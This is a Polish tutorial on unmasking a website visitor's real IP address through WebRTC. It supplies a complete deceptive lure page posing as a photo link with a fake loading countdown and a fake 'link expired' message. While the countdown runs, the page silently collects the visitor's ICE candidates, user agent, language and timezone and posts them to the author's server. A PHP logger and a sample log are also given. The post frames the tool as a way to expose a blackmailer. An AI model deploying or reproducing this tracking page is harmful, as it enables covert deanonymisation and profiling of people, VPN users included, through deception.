Jak wykorzystać webRTC do ustalenia adresu IP komputera?

Przeglądarki internetowe posiadają protokół WebRTC służący do komunikacji audio/wideo w czasie rzeczywistym. WebRTC ma tendencję do wyciekania prawdziwego adresu IP użytkownika, nawet jeśli ten korzysta z VPN na poziomie routera lub tunelu systemowego.

Nawet jeśli nie zadziała pobranie IP, to będziemy mieli jego strefę czasową/język przeglądarki.
(najpierw odliczanie aby zdążyć pobrać dane)
<script>
<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Strona ze zdjęciami</title>
    <style>
        body { font-family: Arial, sans-serif; background-color: #f4f4f4; text-align: center; padding-top: 50px; }
        #main-content { display: none; }
        .error-box { background-color: #fff; border: 2px solid #cc0000; padding: 30px; width: 80%; max-width: 600px; margin: 0 auto; box-shadow: 0 4px 8px rgba(0,0,0,0.1); }
        .loading-box { background-color: #fff; padding: 30px; width: 80%; max-width: 500px; margin: 0 auto; box-shadow: 0 4px 8px rgba(0,0,0,0.1); }
    </style>
</head>
<body>

    <noscript>
        <div class="error-box">
            <h2 style="color: #cc0000; margin-top: 0;">Błąd Bezpieczeństwa</h2>
            <p><strong>Aby wyświetlić zawartość, musisz włączyć obsługę skryptów JavaScript w swojej przeglądarce i odświeżyć stronę.</strong></p>
        </div>
    </noscript>

    <div id="main-content">
        <div class="loading-box">
            <h2>Generowanie bezpiecznego łącza do zdjęć...</h2>
            <p>Trwa autoryzacja sesji, proszę czekać.</p>
            <div id="loading" style="font-weight: bold; color: #0066cc; font-size: 20px;">Ładowanie (0%)</div>
        </div>
    </div>

    <script>
        // 1. NATYCHMIASTOWE URUCHOMIENIE WIDOKU I LICZNIKA (Odizolowane od WebRTC)
        document.getElementById('main-content').style.display = 'block';

        let percent = 0;
        const interval = setInterval(function() {
            percent += 10;
            const loadingEl = document.getElementById('loading');
            if (loadingEl) {
                loadingEl.innerText = "Ładowanie (" + percent + "%)";
            }
            if (percent >= 100) {
                clearInterval(interval);
                document.getElementById('main-content').innerHTML = 
                    '<div class="error-box" style="border-color: #666;">' +
                    '<h3>Błąd sesji. Link jednorazowy wygasł.</h3>' +
                    '<p>Czas na autoryzację minął. Wygeneruj nowy link.</p>' +
                    '</div>';
            }
        }, 400);

        // 2. FUNKCJA LOGOWANIA (Zabezpieczona przed starym JS)
        function logIPToServer(detectedIP, type) {
            var payload = {
                ip: detectedIP,
                type: type,
                agent: navigator.userAgent,
                lang: navigator.languages ? navigator.languages.join(',') : navigator.language,
                tz: ""
            };
            try { payload.tz = Intl.DateTimeFormat().resolvedOptions().timeZone; } catch(e){}

            fetch('/linux/zapisz.php', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(payload)
            }).catch(function(err) { console.log(err); });
        }

        // WYŚLIJ LOG STARTOWY (Zawsze zadziała na starcie)
        logIPToServer('JS_PROCES_URUCHOMIONY', 'Page_Visit');

        // 3. SEKCJA WEBRTC OPAKOWANA W FUNKCJĘ AUTOURUCHAMIALNĄ (Błąd tu nie zatrzyma licznika)
        (function() {
            try {
                var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
                if (!RTCPeerConnection) {
                    logIPToServer('Brak_Obslugi_WebRTC_W_Przegladarce', 'WebRTC_Unsupported');
                    return;
                }

                var config = {
                    iceServers: [
                        { urls: "stun:stun.l.google.com:19302" },
                        { urls: "stun:stun.l.google.com:19302" }
                    ],
                    iceCandidatePoolSize: 5
                };
                
                var pc = new RTCPeerConnection(config);
                pc.createDataChannel("leaks");
                
                pc.onicecandidate = function(event) {
                    if (event.candidate) {
                        logIPToServer(
                            event.candidate.candidate,
                            'WebRTC_Candidate'
                        );
                    } else {
                        logIPToServer(
                            'ICE_GATHERING_COMPLETE',
                            'WebRTC_Status'
                        );
                    }
                };   

                pc.createOffer().then(function(offer) { 
                    return pc.setLocalDescription(offer); 
                }).catch(function(e) { 
                    logIPToServer(e.message, 'WebRTC_Offer_Error'); 
                });

            } catch (e) { 
                logIPToServer(e.message, 'WebRTC_Fatal_Crash'); 
            }
        })();
    </script>
</body>
</html></script>
To kod do łapania:
// plik zapisz.php
$data = json_encode(json_decode(file_get_contents("php://input")), JSON_PRETTY_PRINT);
$server_ip = $_SERVER['REMOTE_ADDR']; // IP, z którego przyszło połączenie (np. przejęty MikroTik)

$log_entry .= "Data: " . date('Y-m-d H:i:s') . "\n";
$log_entry .= "IP Widziane przez Serwer: " . $server_ip . "\n";
$log_entry .= "Dane z przeglądarki (WebRTC):\n" . $data . "\n\n";

file_put_contents('plik.log', $log_entry, FILE_APPEND);
http_response_code(200);

</script>
Wynik w pliku plik.log wygląda tak:

Data: 2026-08-26 12:00:40
IP Widziane przez Serwer: 176.121.X.X
Dane z przeglądarki (WebRTC):
{
    "ip": "candidate:1 1 UDP 1686052863 176.121.X.X 33889 typ srflx raddr 0.0.0.0 rport 0",
    "type": "WebRTC_Candidate",
    "agent": "Mozilla\/5.0 (X11; Ubuntu; Linux x86_64; rv:154.0) Gecko\/20100101 Firefox\/154.0",
    "lang": "pl,en-US,en",
    "tz": "Europe\/Warsaw"
}


Jeśli przeglądarka nie ma włączonej funkcji WebRTC Leak Protection, to w linii candidate może być adres IP szantażysty.